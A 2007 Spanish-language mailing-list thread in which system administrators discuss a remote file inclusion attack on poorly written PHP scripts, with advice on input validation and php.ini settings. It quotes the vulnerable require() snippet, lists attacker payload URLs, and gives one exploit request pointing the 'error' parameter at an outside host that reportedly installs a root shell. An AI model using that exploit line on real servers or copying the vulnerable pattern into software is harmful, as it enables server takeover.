Alerta Vulnerabilidad en PHP - tener mucho cuidado
Estimados Detecte un ataque muy peligroso cuyo modus operandis es mendiante la carga de escripts via archivos PHP mal programados. La variable que el atacante busca es "error". MEdiante ella el lammer descarga shellcode que le da acceso al sistema de archivos y abre una backdoor en servidores windows y Linux Codigo PHP que contenga esta expuesto Busquen en sus archivos uno de los sitios desde donde descargan los troyanos y los shellcode. > masterz.altervista.org observen el codigo q usan http://masterz.altervista.org/a http://masterz.altervista.org/b (carga rootshell y crea interfaz web de control remoto) http://masterz.altervista.org/c Si encuentran esto en sus log ya tienen comprometido el sistema. Espero que les sea de utilidad la info Slaudos, Miguel Oyarzo O,. Austro Internet Punta Arenas
Alerta Vulnerabilidad en PHP - tener mucho cuidado
El 26/08/07, Miguel Oyarzo O. <[EMAIL PROTECTED]> escribió: > > Estimados > > Detecte un ataque muy peligroso cuyo modus operandis es mendiante la carga > de escripts via archivos PHP mal programados. ¿Es una vulnerabilidad de PHP o una vulnerabilidad programada en PHP? > La variable que el atacante busca es "error". MEdiante ella el lammer descarga > shellcode que le da acceso al sistema de archivos y abre una backdoor en > servidores windows y Linux > > Codigo PHP que contenga Analicemos el código, para que quienes programan en PHP no cometan tal clase de errores: > y luego le echan la culpa al del hosting del por qué no funcionan sus páginas) > if (isset($_GET['error'])) { ¿Así, sin validar nada? ¿Dónde está el "is_int, is_string, is_array"? ¿o el preg_match, para validar que lo que yo traigo por método $_GET es realmente algo que me sirva? > require($_REQUEST["error"] ); Falta: "if(file_exists())" para que compruebe que el archivo existe. Para que lo busque localmente, falta un realpath(), que compruebe el path real de tu archivo; para que vea si existe dentro de la máquina En el php.ini, los valores recomendados para producción son allow_url_fopen = Off (aunque éste hay quien lo deja en On, para poder comunicarse con otras máquinas, leer XML y esas cosas) y allow_url_include = Off Jamás debemos permitir cosas como: require_once("http://www.victimario.com/exploit.php";); en nuestra aplicación. Si aún así queremos hacerlo, para mashups y cosas así, algo "un poco" más seguro es poner la dirección URL nosotros mismos. Pero sólo un poco, nada nos asegura que en http://www.sitioqueconfio.cl/rss.php alguien vaya a poner una vulnerabilidad parecida. > ?> De cuatro líneas, ésta última está perfecta. No tiene ninguna vulnerabilidad... Gran cosa :P > esta expuesto Comprendo el por qué varios acá no gustan del lenguaje PHP, porque es muy fácil para un novato (e inclusive alguien que se dedique un poco más) escribir código basura sin mucho esfuerzo. Además, PHP es un lenguaje bastante extendido. Todo lo barato que puede ser hacer un sitio Web en PHP se va a la basura. (Hay cosas bastante similares: utilizar SQL sin validar previamente puede llevar a una pérdida de datos demasiado grande) > Busquen en sus archivos uno de los sitios desde donde descargan los > troyanos y los shellcode. > > > masterz.altervista.org > > observen el codigo q usan > > http://masterz.altervista.org/a > http://masterz.altervista.org/b (carga rootshell y crea interfaz web de > control remoto) > http://masterz.altervista.org/c > > Si encuentran esto en sus log ya tienen comprometido el sistema. > > Espero que les sea de utilidad la info De hecho, muchas gracias por tu aviso. > > Slaudos, > > Miguel Oyarzo O,. > Austro Internet > Punta Arenas -- Rodrigo Fuentealba Cartes Desarrollador de Sistemas - Consultor UNIX - Database Administrator
Alerta Vulnerabilidad en PHP - tener mucho cuidado
At 14:10 26-08-2007, Rodrigo Fuentealba wrote: >El 26/08/07, Miguel Oyarzo O. <[EMAIL PROTECTED]> escribió: > > > > Estimados > > > > Detecte un ataque muy peligroso cuyo modus operandis es mendiante la carga > > de escripts via archivos PHP mal programados. > >¿Es una vulnerabilidad de PHP o una vulnerabilidad programada en PHP? PhP diria yo. Por ejemplo.. los que tienen register_globals on estan expuestos, siempre y cuando tengan script PHP q trataen a la variable de error como un require. Hay varios script PHP simples y complejos que traen pifias asi. Si file send.php es algo como: El atacante usara algo asi http://elsitio.cl/sendmail.php?error=http://masterz.altervista.org/b El shelcode, como mencionaba, se las arregla para obtener provilegios root, abre una puerta y acepta conexiones remotas. Ademas, el mismo script al parecer agrega a otros script PHP la simple sentencia anterior (se preplica creo). Saludos, Miguel Oyarzo O. Austro Internet S.A. Punta Arenas
Alerta Vulnerabilidad en PHP - tener mucho cuidado
On 8/26/07, Miguel Oyarzo O. <[EMAIL PROTECTED]> wrote: > > > Estimados > > Detecte un ataque muy peligroso cuyo modus operandis es mendiante la carga > de escripts > via archivos PHP mal programados. hahahha.-.. LOL esto es mas viejo que mi abuela y se llama Remote Url inclusion, se conoce desde hace al menos unos 7 años. > > La variable que el atacante busca es "error". MEdiante ella el lammer descarga > shellcode que le da acceso al sistema de archivos y abre una backdoor en > servidores windows y Linux > > Codigo PHP que contenga > if (isset($_GET['error'])) { > require($_REQUEST["error"] ); > ?> La variable puede ser cualquiera $_POST $_GET $_REQUEST ( el que use _REQUEST se lo merece en todo caso ) tambien puede ser $_COOKIE o cualquier tipo de dato de usuario. en un servidor decentemente configurado este error no se puede explotar, y no este NO ES UN ERROR DE PHP MISMO, este es un error de los scripts mal programados, lo unico que se pudiera considerar error es que PHP permita que esto pueda pasar por defecto ( lo cual me inidica que esta usando una version arcaica, dado que en versiones recientes este comportamiento auqnue posible esta desactivado por defecto.) -- http://www.kissofjudas.net/
Alerta Vulnerabilidad en PHP - tener mucho cuidado
At 17:48 26-08-2007, Cristian Rodriguez wrote: >On 8/26/07, Miguel Oyarzo O. <[EMAIL PROTECTED]> wrote: > > > > > > Estimados > > > > Detecte un ataque muy peligroso cuyo modus operandis es mendiante la carga > > de escripts > > via archivos PHP mal programados. > > >hahahha.-.. LOL esto es mas viejo que mi abuela y se llama Remote Url >inclusion, se conoce desde hace al menos unos 7 años. ridiculo, a mas de alguno le podria servir la info. Si a ti ya no, solo dejala pasar. > > > > La variable que el atacante busca es "error". MEdiante ella el lammer > descarga > > shellcode que le da acceso al sistema de archivos y abre una backdoor en > > servidores windows y Linux > > > > Codigo PHP que contenga > > > if (isset($_GET['error'])) { > > require($_REQUEST["error"] ); > > ?> > >La variable puede ser cualquiera $_POST $_GET $_REQUEST ( el que use >_REQUEST se lo merece en todo caso ) tambien puede ser $_COOKIE o >cualquier tipo de dato de usuario. posiblemente el dominio publicado sirva para ver si alguien este siendo atacado desde alli, cn solo mirar el log.- Es una ayuda este mensaje, no para que bunde la risa en .. Saludos cordiales, Miguel Oyarzo Austro Internet Punta Arenas
Alerta Vulnerabilidad en PHP - tener mucho cuidado
El Dom, 26 de Agosto de 2007, 5:19 pm, Miguel Oyarzo O. escribió: > Estimados > > Detecte un ataque muy peligroso cuyo modus operandis es mendiante la carga > de escripts via archivos PHP mal programados. Lo cual me hace pensar que el asunto de este mensaje es tendencioso. Creo que seria mejor algo como: "Cuidado mal programador/sysadmin. Si no usas bien las herramientas lo mas seguro es que te haran pebre tu servidor". > La variable que el atacante busca es "error". MEdiante ella el lammer > descarga > shellcode que le da acceso al sistema de archivos y abre una backdoor en > servidores windows y Linux > > Codigo PHP que contenga > if (isset($_GET['error'])) { > require($_REQUEST["error"] ); > ?> > esta expuesto Siempre y cuando este activada la directiva de autocreacion de variables a partir de formularios web... > Busquen en sus archivos uno de los sitios desde donde descargan los > troyanos y los shellcode. > > > masterz.altervista.org > > observen el codigo q usan > > http://masterz.altervista.org/a Quien sano de la cabeza configura un servidor web con acceso a internet (salvo repositorios de la distro)? > Espero que les sea de utilidad la info De todas maneras. Se agradece tu tiempo ;-) Saludos -- Juan Martinez Linux user # 335778 Departamento de Informática499 7934 - 499 7992 Universidad Miguel de CervantesMac Iver # 370 - Stgo. Centro - RM
Alerta Vulnerabilidad en PHP - tener mucho cuidado
On 8/26/07, Miguel Oyarzo O. <[EMAIL PROTECTED]> wrote: > ridiculo, a mas de alguno le podria servir la info. No, lo ridiculo es que lo anuncies como algo que descubriste tu, cuando el problema es requete conocido ( diria yo que lamentablemente demasiado conocido:( ) > posiblemente el dominio publicado sirva para ver si alguien > este siendo atacado desde alli, cn solo mirar el log.- Si le crees al log.. caes en la proxima trampa, los logs no son creibles despues de un ataque, los atacantes borran o alteran la evidencia antes de irse, eso es una cosa elemental. -- http://www.kissofjudas.net/ From [EMAIL PROTECTED] Mon Aug 27 03:59:04 2007 From: [EMAIL PROTECTED] (Rodrigo Fuentealba) Date: Mon Aug 27 04:01:16 2007 Subject: Alerta Vulnerabilidad en PHP - tener mucho cuidado In-Reply-To: <[EMAIL PROTECTED]> References: <[EMAIL PROTECTED]> <[EMAIL PROTECTED]> <[EMAIL PROTECTED]> <[EMAIL PROTECTED]> Message-ID: <[EMAIL PROTECTED]> El 27/08/07, Cristian Rodriguez <[EMAIL PROTECTED]> escribió: > On 8/26/07, Miguel Oyarzo O. <[EMAIL PROTECTED]> wrote: > > > ridiculo, a mas de alguno le podria servir la info. > > No, lo ridiculo es que lo anuncies como algo que descubriste tu, No lo descubrió. Detectó alguien que todavía causa daño a través de ese método. No veo la ridiculez. > cuando el problema es requete conocido ( diria yo que lamentablemente > demasiado conocido:( ) Yo diría que demasiado desconocido; de otra manera no caerían tontitos con esta clase de ataques. > > posiblemente el dominio publicado sirva para ver si alguien > > este siendo atacado desde alli, cn solo mirar el log.- > > Si le crees al log.. caes en la proxima trampa, los logs no son > creibles despues de un ataque, los atacantes borran o alteran la > evidencia antes de irse, eso es una cosa elemental. Primero: No debes permitir a tu servidor establecer nuevas conexiones hacia otros, a menos que sean necesarios. Segundo: Debes permitir a tu servidor responder solo a las conexiones que otros inician contigo en los puertos que especifiques. Tercero: Hay algo llamado php.ini-recommended. Deberías darle una vuelta. -- Rodrigo Fuentealba Cartes Desarrollador de Sistemas - Consultor UNIX - Database Administrator